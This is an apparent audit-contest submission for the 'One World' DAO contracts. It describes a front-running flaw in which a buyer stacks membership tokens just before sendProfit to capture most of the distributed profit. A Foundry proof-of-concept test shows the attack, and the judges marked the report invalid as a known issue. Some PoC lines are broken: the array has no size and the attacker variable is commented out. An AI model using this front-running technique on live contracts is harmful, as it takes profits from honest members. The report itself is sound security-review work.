Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

A user can claim most rewards in a DAO by stacking tokens just before `sendProfit` is called

Summary

An attacker can manipulate profit distribution by front-running the sendProfit function, purchasing a large number of tokens just before profits are distributed. This allows them to claim an unfairly large share of the profits at the expense of other DAO members.

Vulnerability Details

In the MembershipERC1155 contract, the sendProfit function distributes profits based on the current totalSupply of tokens:

function sendProfit(uint256 amount) external {
uint256 _totalSupply = totalSupply;
if (_totalSupply > 0) {
totalProfit += (amount * ACCURACY) / _totalSupply;
IERC20(currency).safeTransferFrom(msg.sender, address(this), amount);
emit Profit(amount);
} else {
IERC20(currency).safeTransferFrom(msg.sender, creator, amount);
}
}

Since totalProfit is calculated at the moment sendProfit is called, an attacker can purchase a significant number of tokens right before this function is executed. By doing so, they increase their share of the totalSupply, and thus receive a disproportionately large share of the profits when they claim them.

The profit a user can claim is calculated using:

function profitOf(address account) external view returns (uint256) {
return savedProfit[account] + getUnsaved(account);
}
function getUnsaved(address account) internal view returns (uint256 profit) {
return ((totalProfit - lastProfit[account]) * shareOf(account)) / ACCURACY;
}

By increasing shareOf(account) just before totalProfit is updated, the attacker maximizes their profit.

POC

Consider the following test :

function testFrontRunCanEarnMostProfit() public {
TierConfig[] memory tierConfig = new TierConfig[]();
tierConfig[0] = TierConfig({price: 6400, amount: 640, minted: 0, power: 64});
tierConfig[1] = TierConfig({price: 3200, amount: 320, minted: 0, power: 32});
tierConfig[2] = TierConfig({price: 1600, amount: 160, minted: 0, power: 16});
tierConfig[3] = TierConfig({price: 800, amount: 80, minted: 0, power: 8});
tierConfig[4] = TierConfig({price: 400, amount: 40, minted: 0, power: 4});
tierConfig[5] = TierConfig({price: 200, amount: 20, minted: 0, power: 2});
tierConfig[6] = TierConfig({price: 100, amount: 10, minted: 0, power: 1});
MockUsdc mockUsdc = new MockUsdc();
DAOInputConfig memory daoConfig = DAOInputConfig({
ensname: "testdao.eth",
daoType: DAOType.SPONSORED,
currency: address(mockUsdc),
maxMembers: 1270,
noOfTiers: 7
});
currencyManager.addCurrency(address(mockUsdc));
address dao = membershipFactory.createNewDAOMembership(daoConfig, tierConfig);
uint256 mintAmount = 1000 * 10 ** 18;
address user = makeAddr("user");
mockUsdc.mint(user, mintAmount);
// address attacker = makeAddr("attacker");
mockUsdc.mint(attacker, mintAmount);
vm.startPrank(user);
mockUsdc.approve(address(membershipFactory), 6400);
membershipFactory.joinDAO(dao, 3);
vm.stopPrank();
vm.startPrank(attacker);
mockUsdc.approve(address(membershipFactory), mintAmount);
for (uint256 i = 0; i <= 100; i++) {
membershipFactory.joinDAO(dao, 0); // Join different tiers
}
vm.stopPrank();
uint256 profitAttackerBefore = MembershipERC1155(dao).profitOf(attacker);
uint256 profituserBefore = MembershipERC1155(dao).profitOf(user);
deal(address(mockUsdc), rewarder, 1000e18);
vm.prank(rewarder);
mockUsdc.approve(address(dao), type(uint256).max);
vm.startPrank(rewarder);
MembershipERC1155(dao).sendProfit(500e18);
vm.stopPrank();
uint256 profitAttackerAfter = MembershipERC1155(dao).profitOf(attacker);
uint256 profituserAfter = MembershipERC1155(dao).profitOf(user);
uint256 attackerBalance = mockUsdc.balanceOf(attacker);
uint256 attackerShare = MembershipERC1155(dao).shareOf(attacker);
assertApproxEqAbs(profitAttackerAfter, 500e18, 1e18);
}

Impact

This vulnerability allows attackers to capture almost all of the profits intended for distribution among DAO members, depriving honest participants of their fair share and undermining the integrity of the profit-sharing mechanism.

Tools Used

Manual review and foundry

Recommendations

  • Considering implementing a holding period or snapshots.

  • Limit token purshases for a single wallet

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.